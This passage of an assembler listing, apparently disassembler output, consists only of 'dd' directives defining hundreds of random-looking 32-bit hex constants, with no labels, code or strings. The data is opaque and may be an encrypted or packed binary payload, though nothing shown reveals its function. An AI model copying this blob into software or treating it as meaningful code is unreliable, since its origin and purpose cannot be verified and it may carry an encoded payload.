		dd 606E5E44h, 21236D4Eh, 0C002CC98h, 68B4E3DDh,	8DC6F60Bh
		dd 41311EB2h, 874159C1h, 47182350h, 2FDDF08Bh, 0FA4270E9h
		dd 6AFCF880h, 0B0F608F9h, 0AC37089Fh, 2C4C6D00h, 0BDD7F773h
		dd 0A8EB360Bh, 2641C1B4h, 0F0E1D862h, 89C6A71h,	0B7DFE403h
		dd 58A800BCh, 0E936936Dh, 0FBB4BBF7h, 56AD6844h, 1815A64Ah
		dd 0B826B32Eh, 0B9380150h, 5FF801D8h, 0AC5A6048h, 3EFA43CFh
		dd 0E740E417h, 0C83B665Ch, 0B5A0CD9Ch, 6AD5D9D3h, 90CD5140h
		dd 9075B262h, 29FC01AAh, 46E94D84h, 0E05E0338h,	305716F6h
		dd 0EC0C67CAh, 6CF99A73h, 0AB2C9667h, 0BF418283h, 0F4DDA060h
		dd 593B4D20h, 5180F055h, 0D7431668h, 20064E48h,	3ED966Ah
		dd 27C9505Fh, 20774E1h,	903D45Bh, 34F13C65h, 68A460A7h
		dd 37145E1Ah, 0FC77D028h, 0A825E907h, 4EA1C628h, 0D0F3F657h
		dd 1AD72692h, 0FE2146CBh, 89F44B29h, 37623F5Bh,	0FF5409C6h
		dd 69DCF542h, 0C0E2E389h, 1A4B86AFh, 144302C6h,	0ECFE9340h
		dd 0E64B8B9Eh, 730CD63Ch, 618F789h, 4F75DDE9h, 7439081h
		dd 21879AC5h, 2584E3F9h, 5E598F7Dh, 8D7910Fh, 2058B6E9h
		dd 0C12D9C54h, 535E0CE9h, 4BBB58B9h, 0B09F568Dh, 0A640486Eh
		dd 14B504BFh, 0AA897B79h, 0AFA1F905h, 0EB87F921h, 0B316903Bh
		dd 3A519920h, 4BEB2280h, 0C0801234h, 0BCD0620h,	4D455D2Dh
		dd 8B138B54h, 42C693C4h, 0F3D9004h, 0A5562D7h, 0A768ECE6h
		dd 414918ECh, 82C99F0Ah, 0E434E460h, 611112F4h,	4F66CA26h
		dd 2D612E53h, 30EB7EE9h, 77B8CB41h, 0D4C3B67h, 1A5E3A0Bh
		dd 841C0413h, 0CB130250h, 598A762Bh, 295C4109h,	2A7A72FBh
		dd 0BB06B982h, 2531599Bh, 43110174h, 0DD21F374h, 6C9F605Bh
		dd 0CE9E4438h, 0D883FFE1h, 39FE5CFBh, 8CE9E815h, 85954099h
		dd 625E791Eh, 16CEE3CDh, 0E2E76138h, 943C328h, 7526EE9Ch
		dd 0B3533F1Ch, 0CADC8893h, 0C3800B42h, 96FD879Ch, 0B252E300h
		dd 86FE622Eh, 0BFDAE062h, 5A287B03h, 0E07D3564h, 0D589319Ah
		dd 824B7F6Eh, 1CE86168h, 5E78F229h, 0ED66EB20h,	0B5D4D639h
		dd 69E9FEC1h, 3B672ED4h, 98B05DA5h, 0F3213C5Ch,	672D1112h
		dd 0BE3A92FEh, 7FACA4Bh, 809DACD8h, 9C4F49F1h, 207B9065h
		dd 524F1EE5h, 0CB3F738Dh, 91E500BCh, 0E963DE01h, 173660AEh
		dd 664B13C2h, 49B94095h, 53BF1977h, 0CFD1EA83h,	266B0259h
		dd 9F09CCB7h, 8886D1ACh, 0B6B02DF1h, 58FE76B5h,	0A9D3C4C5h
		dd 0BD5D301Bh, 5CFB681Bh, 0A42C0638h, 55D65F5h,	0CD446029h
		dd 13633E3Ah, 8057193Eh, 0D5FE96C6h, 2C5BD4EEh,	0F028940Eh
		dd 0F85A8A04h, 0FC069B1Bh, 5FE91880h, 0BCFA445h, 2A7E3160h
		dd 0E63D8A02h, 4C850105h, 25CB5E1Eh, 0D5B40449h, 80BB684h
		dd 37C0E95Ah, 21343BEFh, 0A5BEBF68h, 0E970D9D9h, 3AC84DC9h
		dd 0BC10575h, 0BF73858h, 0E17823B7h, 77912B84h,	63C04112h
		dd 3C5A5452h, 8BDFEB68h, 42B5823h, 620D2272h, 8022BC9h
		dd 0FE98EC58h, 625B5FDAh, 87C8FB00h, 0C797305Ch, 0A1D3272Dh
		dd 922826A7h, 212FE330h, 0A38769h, 57EC805h, 0D02971FBh
		dd 1707162Dh, 6884C062h
		dd 9897222Ch, 0D3C762D5h, 801CC3Dh, 46DF2FC6h, 14C4B15h
		dd 0FEE8B7C3h, 3C1AE5CFh, 0D859271Ah, 61568230h, 0DD5530F6h
		dd 85B29017h, 94E0E9C5h, 77F6801Bh, 0F3A0C565h,	0D9A8B758h
		dd 7013EBEAh, 0F6EC64FDh, 5A184A0Bh, 0AC9CDA88h, 82D0179h
		dd 3B707E15h, 401AAD98h, 127581Bh, 6BC151D7h, 1ED4F162h
		dd 2D0F46D2h, 0CFC56954h, 9D31AABEh, 97F7459Fh,	0B8194712h
		dd 63B160EFh, 2A00F80Dh, 0BA527858h, 0AC3B73h, 93BD5516h
		dd 0E913EE32h, 69589425h, 0C6C5ADEh, 30F766B1h,	7ABA1C15h
		dd 64308F90h, 0EF3D507h, 42980F40h, 0CEA4DD89h,	2022CDB2h
		dd 1F7772Bh, 363ED829h,	574F2365h, 8C5EE8E7h, 0DB2EE909h
		dd 68C184FBh, 1A2C0DA8h, 1A5A5ECFh, 8480989Ah, 6CB823FEh
		dd 0AED0E914h, 0C3F597DFh, 8013AE30h, 4EF0E6C1h, 0BF8999B8h
		dd 5A3E781Fh, 5F49A0DFh, 66A870C6h, 787E6815h, 0C3D14B46h
		dd 810359D4h, 0BA0B4AB0h, 5D64075Ch, 0B3879024h, 98CE0150h
		dd 0B817833Eh, 0F90BA59Ah, 0F84EA40Eh, 565A7BE9h, 8010DCE3h
		dd 9F5A3447h, 0C8F35BAh, 50955288h, 8870B00Eh, 2F05D3C2h
		dd 0BA83B4B3h, 8E398E0h, 1806D2C0h, 0E9DA50C5h,	81DE4EFCh
		dd 0F3758781h, 0C7EF2962h, 0AE2808DAh, 0F4382603h, 5A57E90Eh
		dd 669B0A9h, 27E60DE8h,	4B0B2DF0h, 0C1F2E97Fh, 4C6D5D03h
		dd 0B02CD385h, 0A14B414Bh, 2EE01589h, 3B6597A4h, 0E15BDF0Ah
		dd 19E90204h, 0CF8749D0h, 0D7F73D47h, 0B203BC12h, 98148873h
		dd 0CA81650Fh, 747AE517h, 0EA9904EBh, 0A4C3C001h, 0C48E6B8h
		dd 6CA1025Fh, 0E90945B5h, 0CD24EA26h, 0F481EAD1h, 0B3F01264h
		dd 0E9BA4574h, 31B491ADh, 35E7DDCDh, 7EE12153h,	12E43D51h
		dd 0F4E9BFB4h, 27EF341Ah, 82A45CD4h, 3AAD4408h,	91A0B793h
		dd 4423CCDh, 8B804AEh, 50A05059h, 5CCD571Dh, 0C12CE1C0h
		dd 9D54817h, 0B16D043Ch, 5291E904h, 4B07FE5h, 557092B0h
		dd 4109172Ch, 13FFD227h, 1C8C9E27h, 0B2AC6F95h,	2B00BE6Ah
		dd 2D456EA5h, 12C63DCFh, 10F0293Fh, 5010813h, 0AE5647Ch
		dd 45D0DAE9h, 5BF83012h, 0BF6C271h, 8A5E0ABEh, 0BDFC98CAh
		dd 80CE9902h, 1D656934h, 0CAF1EF29h, 35E90882h,	5056C4E8h
		dd 39D7B804h, 4AA2181h,	0FCF53102h, 64CE074Dh, 829B6DB5h
		dd 82B1792h, 2E32C58h, 0FA18ADBAh, 0A229D82h, 4C0D6801h
		dd 6AE7297Fh, 1548EA80h, 811B0EFBh, 730467CFh, 5818AF4Ch
		dd 0E02759B2h, 49015FFDh, 8889564Dh, 66EBAAD3h,	0EB012720h
		dd 0E917107Ah, 99E4CA63h, 92A7F059h, 54407E28h,	2A688345h
		dd 25B97C63h, 29D15E1Dh, 2D6857C1h, 0D37A7460h,	0E56C099Dh
		dd 25CCD428h, 5A166071h, 0E8C18221h, 0D40EF343h, 95513A1Ah
		dd 0CBE786C9h, 0BBC848ADh, 1F511252h, 4533BB41h, 41ABC93Ah
		dd 9F2DE2h, 23C3ABAh, 0D3216E25h, 1FE2525Ah, 0B800ED76h
		dd 5F8A5C5Bh, 69F75C40h, 3E285D09h, 88F34585h, 893CC665h
		dd 0E3E1AAF0h, 0C9C06B95h, 9362159Bh, 0B236AA12h, 0C06808FAh
		dd 9AA53E7Fh, 0E3A44F8Eh, 0E7BC909Eh, 42F1354h,	4FEC8436h
		dd 8BA07EC5h, 64EC012Dh, 0D8F73CD9h, 3EC23850h,	9B8F0458h
		dd 0BDB8B5AAh, 0F509E90Bh, 0BA254D7Ah, 75EC4D6h, 0DC2805CBh
		dd 1DE3602Fh, 57264A7Dh, 0E702D643h, 0C0553F65h, 22D32BE8h
		dd 1520B208h, 51D18AA8h, 372A304Ah, 225FF265h, 18CDA613h
		dd 37267E8Ch, 873C4F2Ah, 0E15D2FFDh, 4E26BBCFh,	6508975Bh
		dd 0C14BDEEh, 76E7DFE9h, 5E8BEC5Bh, 940D35CBh, 0B8CC4EDh
		dd 3798A2C0h, 2EFE60BEh, 0CE29DB0Eh, 69F06B59h,	14E3E929h
		dd 95E6882Dh, 0D942A025h, 30C9CAD9h, 0C0131F2Ch, 6952EB2Bh
		dd 0F73B2FE7h, 0D6267EDBh, 0B1A0CAFEh, 453B2B1Ch, 4305F965h
		dd 6099D4B9h, 18D93873h, 68D7A61Eh, 0E4044A67h,	0F3138899h
		dd 1EECD3F6h, 22559815h, 0E8685301h, 213C0B52h,	247FEA45h
		dd 0C1B050D3h, 20350764h, 9E028F79h, 8A5C0854h,	97054150h
		dd 36CE7A32h, 0B558EC95h, 0EB1C7C4h, 138D408h, 1F72E181h
		dd 0C1B0C73Dh, 5514394Dh, 24BC31D9h, 124C101h, 5F41B024h
		dd 81C8622Dh, 50C4B850h, 4AE90705h, 0F72AE48Ah,	3D214638h
		dd 520A9220h, 137576A4h, 5348C84Ch, 0CE440156h,	0FE14F11Dh
		dd 4A7E9382h, 6704AC01h, 0FAD8622Dh, 0C2FCB1B2h, 41B0D0E0h
		dd 7C30E041h, 6B294D76h, 0F2468F13h, 2294800h, 4A456498h
		dd 55A6D231h, 867A903Eh, 797F8A48h, 5111D902h, 5F0E9168h
		dd 478BAA18h, 0F257AE2Ch, 1A9FC809h, 22B17555h,	0D2217AC5h
		dd 2900E615h, 894A5FFDh, 394A8E81h, 0F4622533h,	72E5B6FCh
		dd 1B00C896h, 4B5C08F1h, 0E9DF17F7h, 6FCBB1C6h,	0F8660963h
		dd 48E168F1h, 9DD7314Dh, 8F292F4Ch, 0EF317C88h,	1812D724h
		dd 364FC2B8h, 572E0D2Ch, 710B3F55h, 0E5F75615h,	484EEFD2h
		dd 0E34D7863h, 1C2B9803h, 5777A4FBh, 42200289h,	60EACBE9h
		dd 20C4611Ah, 29C2A295h, 3F665177h, 0E6D6A541h,	0A86D4D2Ch
		dd 75605A25h, 78243CE4h, 0CD01D911h, 0E636C9Eh,	940E760h
		dd 0F720A726h, 87E715E0h, 5655BA12h, 85F06DA0h,	0A308E989h
		dd 0F2478F72h, 0C8965D50h, 0A4C8EE58h, 0AA5F482h, 300D000Bh
		dd 0E3E6817Bh, 81BF1B28h, 0E64F6025h, 605DB412h, 0EF21A5B9h
		dd 0F1C04F4Eh, 2F11595Eh, 9E40F716h, 222637B5h,	0F83E3CC6h
		dd 54C0694Fh, 68AFB8h, 0E0C119D3h, 2E913502h, 0D629301h
		dd 207433F4h, 4806F140h, 0E3AD54E9h, 33019058h,	0EBCF3779h
		dd 353862F1h, 1389446Ch, 0BE087208h, 0E926217Fh, 903FD4CAh
		dd 362C683Dh, 3E03949Bh, 0F823F94Dh, 0B65859CFh, 225D5A5Ch
		dd 790B49CCh, 0B91C8B2Dh, 57FCFB48h, 405CCC27h,	0B7F8315Ch
		dd 5AB27B20h, 0E92565DBh, 0E24DE864h, 67181DEBh, 5C29769h
		dd 0C2DEDDDAh, 0B973CE23h, 805FAFBDh, 0BB5357B7h, 1B783956h
		dd 3764FFCh, 49C28042h,	64E1D782h, 3D23F4F9h, 46B699A4h
		dd 2F972994h, 0FD97AADh, 3B94243Dh, 0F5E1074Bh,	0DC53205Bh
		dd 0C8F02B2Dh, 0D4DEC580h, 904A2C11h, 0E9EE0133h, 5780C04Fh
		dd 0AC7D0668h, 55E80ABh, 1E67175Ch, 4125EC7Bh, 7FD71907h
		dd 0C4581922h, 826F59FCh, 845A1442h, 0DE12FEA4h, 5E112ED2h
		dd 45E16A6h, 0E9E56DB2h, 0C3307EECh, 88520E9Dh,	5AF0E4DEh
		dd 7EBDCA5Ah, 0FE90C37Eh, 0FB50E912h, 91384A4h,	8957C564h
		dd 0E0C96424h, 4C0BBE63h, 2657C44h, 799B2EC8h, 54538B18h
		dd 5B58CE90h, 278667B5h, 40E99798h, 311DC29Ah, 594C1D6h
		dd 0D8E701B5h, 0A1E9456Ch, 52287338h, 2E341CCFh, 0C525BE47h
		dd 3D71220Bh, 0DC2B04ADh, 8F5961D2h, 0BEBC0595h, 9ED06EACh
		dd 18205526h, 5AD0913Dh, 0F228819Fh, 0CA80CE40h, 0E60B7ABBh
		dd 0EB5F8326h, 68D76C01h, 66604D88h, 0A2464F92h, 9EBA8E64h
		dd 682C6C49h, 263584D1h, 0B2BA78E8h, 0B0506h, 0AB9AEB1Ah
		dd 8417482Bh, 5937A502h, 0E3582977h, 415B0881h,	62E0B2B6h
		dd 28029642h, 829463D6h, 49FDE5D2h, 77697CF5h, 70282460h
		dd 64B8B36Ah, 24996234h, 0AEBC65BFh, 0A93CEF2Ch, 0E981FF93h
		dd 0F67DE480h, 15CF27D4h, 0D74CE79Ch, 0DC3BE0A1h, 12B864E5h
		dd 87C971FBh, 68F9BF89h, 0E7812A10h, 302712B0h,	30BBD70Fh
		dd 414531D3h, 73D7F73Ch, 867A9D09h, 7A395C4Fh, 50720057h
		dd 930F724Ah, 0BA85B498h, 8C2F693Dh, 1D49E9FCh,	0C65E2F5Fh
		dd 0B021AC20h, 0E44027A7h
		dd 0BA045D44h, 3F5D23F4h, 180AC4E4h, 5CC0A2DCh,	0B92F5465h
		dd 8872825h, 90315B2Dh,	988C85FFh, 0D2EEAD4Bh, 68590990h
		dd 185E389Eh, 0F52DF60h, 902BD10h, 0B076E70Ch, 29FF5065h
		dd 0A48A7C28h, 5C52A64Bh, 348E50E0h, 1EB4BB80h,	0BA339841h
		dd 0A724F9AEh, 2E3D8A61h, 0ABB60CC4h, 43A8257Ch, 8A103EA1h
		dd 0F501F48Eh, 0E82C5E5Eh, 0BA520259h, 688C56A7h, 1A360775h
		dd 0D3297A91h, 8059721h, 0E9C943BBh, 44061735h,	370A2B9h
		dd 4CE107D6h, 602F5C7Eh, 0E8184DC9h, 0F132297Ch, 742296A8h
		dd 0D5053CE1h, 917D48Bh, 1BA0EDE6h, 0D8F6AE34h,	8E8C004h
		dd 0A8C43C2Ch, 0CBFE9481h, 0FFE9EBD3h, 6B62FE99h, 0E46FF37Ch
		dd 0F2B8D2A5h, 112B099Eh, 0FFE948ABh, 2F417593h, 29056862h
		dd 0DCE25DE1h, 47767216h, 1F07F202h, 585221C3h,	252AEE3Eh
		dd 16A50FFEh, 0CD29A17Ch, 82C941E7h, 0CA0102B1h, 0A8A0C52Eh
		dd 5764B50Ch, 62360CA8h, 8108D28h, 0B31ECF04h, 145F012Eh
		dd 109A0C6Ch, 1581C10h,	0D07591C4h, 0D3948017h,	1876271Eh
		dd 5BC58497h, 9717A7D6h, 0BD64218Bh, 2B453364h,	635DCCBCh
		dd 0B9710DCh, 0B054AE68h, 97BCFC49h, 68162D64h,	76347B77h
		dd 0B6819CE2h, 78A7E980h, 92BD0272h, 0B864C41Eh, 1F7CBA15h
		dd 870AAC76h, 962588CAh, 0A9090C1Ch, 72DB962h, 40D0039Bh
		dd 24EA29C0h, 0A4545D52h, 881D15DFh, 1CE42D07h,	0C229F3AFh
		dd 3B07B0E1h, 7B35BB40h, 7F183Fh, 0A576272Dh, 0DF28052Eh
		dd 0E970C309h, 53B2E1E0h, 0F71D4D28h, 1127BED3h, 80E2ADC2h
		dd 94559362h, 7E64B79Bh, 4DCA3BFDh, 49A2E913h, 0E96542Ah
		dd 7B2BF0A1h, 8EE72E40h, 0B8577160h, 40280914h,	0B500500Ch
		dd 56DC4662h, 8C2AC1ECh, 0E10C8B35h, 3C1A07E0h,	407B17E9h
		dd 0E28AC8Dh, 0FEBEDBB6h, 0ECE179C9h, 5E547B3Bh, 0D11202D4h
		dd 0C742C1E0h, 37FD2681h, 0EB522027h, 50DE139h,	2AA4E962h
		dd 50932CAFh, 5DBE5603h, 0FD757F40h, 5FD257A0h,	6FAF4459h
		dd 36B31250h, 0CB2FFA3Eh, 0DDF6E402h, 0DE2CEB40h, 164C2D80h
		dd 1647DA0Eh, 387FDA7h,	0A53310C1h, 85C9AF13h, 0BFBCE733h
		dd 68F8305Bh, 58BE514Bh, 0E942B748h, 4C517888h,	8300825Eh
		dd 31B505F5h, 5EC05AD7h, 3A116A1Dh, 0A4F95101h,	725F0802h
		dd 0FC6EB521h, 695B3162h, 685C0095h, 6A911BB8h,	0DD08EFA6h
		dd 67ED804Fh, 5059EB28h, 9C53B43Ch, 0E312BBF4h,	0CB3E15F1h
		dd 77A81264h, 1E0B5AE3h, 1A8A23B2h, 25EA4C4h, 9AF249EFh
		dd 5FF97940h, 3C4842FEh, 3F68C7DBh, 724C8532h, 20E52D24h
		dd 0CC20DFE6h, 0CF292D01h, 0FD993FD0h, 8792616Bh, 0EC80317Ah
		dd 4892B94h, 580C569h, 29853956h, 71CBE195h, 0B24E8C2Ch
		dd 0F6099625h, 0D9E9AB55h, 58D04244h, 6FF10148h, 119D1426h
		dd 0DD8A043Eh, 40BF01EEh, 0CC37ED0Eh, 0E09514BDh, 0B264E9FCh
		dd 6B5B4802h, 3709FC04h, 0A9FD006Ah, 9429ECADh,	5E7712CCh
		dd 2CD61BCEh, 51B26498h, 4EF38103h, 408C05Dh, 0B34470Ch
		dd 0C3218033h, 575CAA3Bh, 0BEB30543h, 0A3852706h, 26CB2700h
		dd 0C1690842h, 93E52436h, 2D302C43h, 0B51FE45Ah, 0E9B3FB00h
		dd 69B3C306h, 1E2B5308h, 867847BEh, 0A114A46Ch,	7F9D3FB3h
		dd 92132426h, 1034B9D5h, 0E14AEAC8h, 44EFCDF8h,	4FEFFCF5h
		dd 0D7669DF4h, 0AE13C43Dh, 0EB03D335h, 9DD94B1Bh, 2AF06580h
		dd 317D1654h, 0B2B008C6h, 273CD20Bh, 2DA8E61Ah,	9198FE58h
		dd 0C617CA25h, 1D6816BDh, 0C5CEA870h, 74AE04CDh, 508BE6F1h
		dd 8827688Ch, 0AB04658h, 48DEE9DDh, 7E688526h, 0A3125229h
		dd 0ABB64BCDh, 4BDFE296h, 1B8E2DCh, 2FCA1002h, 6E590BE9h
		dd 1CEE5475h, 0E641E5BEh, 808CDDADh, 29A6827h, 265F3B24h
		dd 1FE8DFF7h, 1E08BFEh,	86D0E7ABh, 419B2B13h, 0CE1C1AACh
		dd 13674E37h, 11BDEEC1h, 397F301Fh, 36554065h, 59E749BEh
		dd 8BB8DAA6h, 1245B5A0h, 29262005h, 7042DE8h, 68A8FDE9h
		dd 80F4D79Dh, 14335DCEh, 0DC8C329Fh, 21B3448Fh,	3E3892FDh
		dd 6EFB42D9h, 5FE917D9h, 0CE7C903Bh, 7E2F2784h,	8364406Dh
		dd 52CF2767h, 30CF9BC3h, 3AE258AAh, 14F401BDh, 3E48A1h
		dd 0E5135AB8h, 0FB4AE9BDh, 0E1C01FC0h, 8007C008h, 0CE28FFC1h
		dd 205BE925h, 5EE8F279h, 16E1386h, 9424B2D6h, 4B0238D3h
		dd 244C08DEh, 0CC922925h, 3A509F42h, 0D06B8291h, 0BEBEC056h
		dd 5727203Dh, 28EB2098h, 8C680BCFh, 65DB7E1Ch, 0F76A901Dh
		dd 0EB48C1DBh, 0A3CD2A8Ch, 52E28105h, 0DBC23A7Eh, 289DAh
		dd 6CCE1929h, 0D7010428h, 0E2D073E9h, 675E252Ah, 7C79A561h
		dd 3CD2EC08h, 9C0D9A7h,	9A97C001h, 8600C065h, 0BCE39E02h
		dd 451F0F7Ah, 70ADFB29h, 3C0C20C9h, 205A4CBFh, 68132ECBh
		dd 0ECA23DF7h, 0A045E9C4h, 0F139802Dh, 5FC98241h, 8EF65166h
		dd 0C059A5D3h, 54A2E391h, 11C58585h, 5FD00939h,	3311235Ch
		dd 3426725h, 5449E571h,	0CFDA5B5Dh, 49945709h, 0D944499Fh
		dd 562D10FBh, 0CEFE00D5h, 280DF680h, 485A5CF3h,	2DF71010h
		dd 169FF8ADh, 0B693107h, 0E6CB1E65h, 5C455B90h,	0E50781E4h
		dd 41AB5E72h, 7881CD67h, 4D601D07h, 6761E893h, 525F247Dh
		dd 4F435475h, 60CC49D1h, 48B74480h, 0C401ED36h,	12FE0C7Eh
		dd 77849BE9h, 0D939BA05h, 97891A39h, 6D454F62h,	78E0AFB9h
		dd 2A220447h, 0B14BE942h, 4EBB79CCh, 74A47852h,	7D84AA74h
		dd 82F7220h, 3A9003FCh,	73606DAAh, 953B571Dh, 0E097B7Fh
		dd 0EB16432Ch, 0E49DC9C3h, 0E7014520h, 0B5B39924h, 0EAF0D344h
		dd 0DB270F9Fh, 0CC26884Ch, 0D9893F49h, 0A8555E16h, 0CC9AB5B7h
		dd 9C7007Ch, 172D26Ch, 0AE30E9CFh, 0B2526EB8h, 0A0085F25h
		dd 0AA5AB4D4h, 34398CA6h, 0BDA2DC5Fh, 94299140h, 6112BDF5h
		dd 5229BF44h, 0D87A37C1h, 90605CD1h, 239BA79h, 30204CD8h
		dd 0BD5FEF20h, 3DF9E194h, 237B257Eh, 7563F67Eh,	0F5ED1E2Fh
		dd 721CB48h, 7469A889h,	6801DAF7h, 0A2072DB7h, 22F6E0F6h
		dd 0CB1D159Ch, 5957C35Dh, 47ED3EE1h, 0E9111284h, 0E10BD723h
		dd 2008E6C1h, 2B140C6Ah, 86790ED1h, 228CC83h, 3CFD6856h
		dd 19F9722Bh, 5E96B563h, 0B04A8428h, 904B5BE6h,	123D91CCh
		dd 0AB2EA666h, 0E6C6C607h, 2D9F2860h, 313F1DC1h, 5B3A4324h
		dd 0D0D001F9h, 0F4B764Eh, 0D3DEA3C6h, 68C14563h, 4072FB97h
		dd 32864E56h, 4F0A4977h, 6F0124DBh, 21725258h, 955AB230h
		dd 89732C0Bh, 5C4C078Bh, 0FB4567DCh, 1754D674h,	4C9095Ch
		dd 0BA397AB1h, 0AD688177h, 0DEB0F966h, 0BD02A792h, 18933321h
		dd 42655701h, 98E15192h, 0FDF1AA80h, 0E9BE8ED3h, 9BBBD130h
		dd 2D7110F5h, 2F78642Ah, 0C6DA9725h, 1140497Bh,	4685BD3Fh
		dd 71514E94h, 355A9Ah, 788E3B3h, 0B6525BDDh, 4B12D2F7h
		dd 5993EF74h, 1F94CE08h, 3AA88B58h, 28350690h, 830D20E0h
		dd 0B55601EEh, 0B581016Eh, 3A82A44Eh, 0D6213709h, 0EAF3972h
		dd 454E4D8h, 3CEB89D9h,	0CB14B52Bh, 6A899DADh, 0DF26AD9Ch
		dd 5E07D26Ah, 903C397Eh, 58043757h, 0AD361968h,	67E9B211h
		dd 1D5E252Ah, 0BAC8BD50h, 73557FA7h, 926817C5h,	0E42B313h
		dd 538E1CF6h, 498CF7D0h, 16F10D5h, 400C486Ch, 547A290Ah
		dd 5D5A0817h, 0D6244BCDh, 714C2545h, 8D1CB9D0h,	61A5CB77h
		dd 85552788h, 0AA884EA0h, 0F732FFF5h, 6E5A0BCBh, 509F6A88h
		dd 14A37940h, 953A847Ah
		dd 0E110104Ah, 68602B05h, 37D90353h, 29915269h,	0DCCC3BF7h
		dd 0E5FE4E89h, 81146D03h, 0C3315EF0h, 9106D57Ah, 2A14A839h
		dd 0B572E8A7h, 0C320D7C4h, 1E8BBC8Dh, 0DD514C43h, 5BD8B912h
		dd 9888C15Ch, 0CE24F95Fh, 4D629487h, 0FBF32B5Bh, 8216B75Bh
		dd 221FE9h, 5FA161BFh, 0F831D117h, 0C3137E8Bh, 2FF1A858h
		dd 0A57CF909h, 1E0DADD1h, 3C415D26h, 0CF34BDE2h, 0CA184E03h
		dd 595E2F8Bh, 0D6E9894Dh, 2D0426F0h, 10C2164Dh,	9944D1C4h
		dd 0AEBCA804h, 5D115E42h, 5B8A0446h, 0B852F54h,	1ED8EFB5h
		dd 2AD6263Ch, 397700ECh, 49E902BAh, 1A99A060h, 1819965Ch
		dd 0D1CBB59h, 0F995EB81h, 99D909E4h, 0DFF529C8h, 15A7679Dh
		dd 348C25Fh, 0B716B270h, 6812E94Eh, 0BE743742h,	0DD50AAA3h
		dd 0A3CEB5E0h, 0FE2662B5h, 9F744BB7h, 0B35FDA90h, 0C90A2429h
		dd 364B5593h, 607BD05Dh, 3F7A5045h, 72C139E7h, 46FF3CF6h
		dd 0E9A2077Fh, 0A6CE1926h, 5BD82116h, 1C52ECFDh, 805AA2D6h
		dd 721DEEBFh, 1D0CBF78h, 0A0BEA39h, 977C313h, 4861D0E7h
		dd 0C8108A5Ch, 97C91756h, 55211327h, 0B2EF1E20h, 0AE3304EBh
		dd 623621D9h, 535A540Ch, 5F137D38h, 7DF82A63h, 0F4C8E913h
		dd 24B42C4Bh, 4377509h,	35F07F28h, 0C0A0955Fh, 40E57011h
		dd 0D5071CB0h, 2D5D6880h, 0A00D66E3h, 4EE9E829h, 1E607A9h
		dd 0C4D1FBEFh, 1275E9E7h, 533B49EAh, 9756D2DCh,	92177144h
		dd 0D202DCF6h, 41D430B5h, 9054EA7h, 5890C4ADh, 580E4DE5h
		dd 0BE450773h, 103FED00h, 0D2890212h, 1921BB9Eh, 402A35E9h
		dd 0DAA8C7EAh, 0FF6A03Bh, 6327E45Eh, 7794FE85h,	81A9B4F8h
		dd 0E95650B4h, 616BC45Fh, 144630E5h, 0A29253FEh, 6BB0C09Ch
		dd 2FE9674Dh, 18DB961Bh, 293D74A5h, 3651126Ah, 0E9243EA1h
		dd 2C8FA164h, 19F86D33h, 40894920h, 535059A8h, 4D995B1Bh
		dd 10206804h, 0F361E902h, 514A12C6h, 5C2DAC2Ah,	6A90C772h
		dd 561D09B5h, 39A4EF7Ch, 2D18F6C0h, 0BFAC007Fh,	4B1D5E17h
		dd 0CCF4A53Dh, 0FC2824F7h, 9A1FCD18h, 4FD77036h, 6883DDECh
		dd 5B10648Bh, 0AC3BB3D3h, 74C0C627h, 5073FE88h,	0F94DF47Ah
		dd 15B0B39h, 319907C2h,	3192533h, 6E6DBC6Ah, 5A6E477Ah
		dd 5540607Eh, 0F3D14F2Ah, 9948282h, 0AEF4E0B9h,	9EC28Eh
		dd 79E9731Ah, 276CA48Ah, 717A5452h, 7B12745Ah, 35D2CBFh
		dd 68258DBAh, 972678F2h, 68059947h, 39BA43E1h, 0B839488Ch
		dd 0C8299C0Bh, 31F6D846h, 0E91198BFh, 5DA19D31h, 0CC7688Dh
		dd 39E6AE70h, 1D3348BBh, 7CB10970h, 9EE8603Ch, 4CAF9013h
		dd 72EFAF64h, 0B1D2B2F3h, 3857E22Fh, 0C0B8E1DFh, 0F2EE8177h
		dd 41002F32h, 4250BB53h, 4FE97F63h, 57AD0FC0h, 1AC6847h
		dd 705854B1h, 2D7205F6h, 2A58013h, 5CCE6AA1h, 50688439h
		dd 7A5AE679h, 0B722C226h, 0BA4A1CC0h, 9A4F982Fh, 0E1811F52h
		dd 9762470h, 6501D9F7h,	78D61429h, 11A20420h, 26EDCBE2h
		dd 37CE0601h, 72C88999h, 0A731CB16h, 0E1B58DBh,	0F32A4021h
		dd 4CDEF76Bh, 5000BB4Eh, 816AE053h, 380270E2h, 0E94A5A71h
		dd 0C3987FEFh, 0EB16EA80h, 232DD2F6h, 0E90D8838h, 2B32AB5Eh
		dd 64F29291h, 9678DEF6h, 9CFA6122h, 52660008h, 7B6C7A86h
		dd 0B1B82501h, 9E305B59h, 59E7198Ah, 12C0A09h, 0BEB1880Dh
		dd 2990E821h, 0B7A18C17h, 0C1918438h, 37040614h, 805B3E34h
		dd 441431B0h, 0BDE92009h, 252859D3h, 0D042BCD3h, 574F0288h
		dd 58A387F0h, 515F0B26h, 0C13BC210h, 0A125585Ch, 12BF42D6h
		dd 0C741B44Ch, 0B9B7535Bh, 0D07E0BE9h, 3C5FEACCh, 28BF3FF0h
		dd 3C340828h, 85A6D4BEh, 0D339FBABh, 6C78B4A4h,	3CEDE907h
		dd 54955A91h, 29C464B8h, 0B70487C3h, 7105105Bh,	0E75880D3h
		dd 23FD0D7Ch, 847F8CA5h, 8C08186Fh, 4C954475h, 498628B0h
		dd 0C2F58B09h, 0E0D1004Ah, 0D019C62Dh, 918E84Eh, 0C5C4596Ch
		dd 6D5819ACh, 0E7E2146Bh, 2A0B0CC8h, 575B4A30h,	0E9C15EEAh
		dd 0C96F3845h, 21D921C2h, 0F54059CEh, 7C80402Ch, 0E9FE0902h
		dd 30A5B098h, 5A8B92D2h, 7B8274E2h, 8D73F4C9h, 9A1302A6h
		dd 0D308346h, 0B9552015h, 93F0013Bh, 0FBB9C5BEh, 0AD4A40D5h
		dd 39A0B54Dh, 250673CCh, 6060407Ch, 25B497E9h, 66852C05h
		dd 14B790C0h, 0C0DF5EF6h, 0C7309501h, 2C4E0283h, 4471E926h
		dd 5AEB2556h, 38232C73h, 69DE6BE0h, 5F3BCA42h, 299D1CC4h
		dd 727BFECCh, 0BD20FD5Ch, 3863BC00h, 0C7A8BA23h, 0E00B4B14h
		dd 0D74B8918h, 4A4CC4B3h, 93117C07h, 0ECF76032h, 3401AB67h
		dd 641FB951h, 693069EAh, 24081314h, 0FD750202h,	10407CEEh
		dd 3494F218h, 20587225h, 7E988717h, 5B246104h, 850011Fh
		dd 94E9FF62h, 2860B5EAh, 1D9EC3A9h, 0E2E95449h,	0E44BC917h
